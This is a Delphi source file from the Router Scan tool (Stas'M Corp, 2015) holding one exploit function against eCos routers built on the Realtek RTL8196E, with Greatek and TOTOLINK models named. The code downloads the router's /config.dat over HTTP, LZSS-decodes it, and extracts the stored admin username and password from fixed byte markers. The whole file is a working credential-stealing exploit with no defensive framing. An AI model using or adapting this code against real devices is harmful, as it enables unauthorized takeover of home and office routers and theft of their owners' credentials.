// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_RTL8196E_Config(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  MS, M: TMemoryStream;
  Sz: Cardinal;
  A: AnsiString;
  Up, Pp: Integer;
begin
  // Affected:
  // eCos Webs Greatek WR-1500L
  // eCos Webs TOTOLINK N100RE
  // eCos Webs TOTOLINK N200RE
  // eCos fw 2.0, fw 2.0.1
  Result := False;
  if (ServerName <> 'eCos Embedded Web Server') then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/config.dat',
  MS, Code, 2, 0, ServerName, False, AuthUser, AuthPass) then
    if MS.Size > 256 then begin
      if PtrStr(MS.Memory, 6) = 'COMPCS' then begin
        MS.Position := 8;
        MS.ReadBuffer(Sz, 4);
        Sz := SwapEndian(Sz);
        M := TMemoryStream.Create;
        LZSS_Decode(Sz, MS, M);
        StreamToAnsi(M, A);
        Up := Pos(#0#$B6#0#$1F, A) - 1 + 4;
        Pp := Pos(#0#$B7#0#$1F, A) - 1 + 4;
        if (Up > 4) and (Pp > 4) then begin
          AuthUser := PAnsiChar(Cardinal(M.Memory) + Up);
          AuthPass := PAnsiChar(Cardinal(M.Memory) + Pp);
          Result := True;
        end;
        M.Free;
      end;
    end;
  MS.Free;
end;
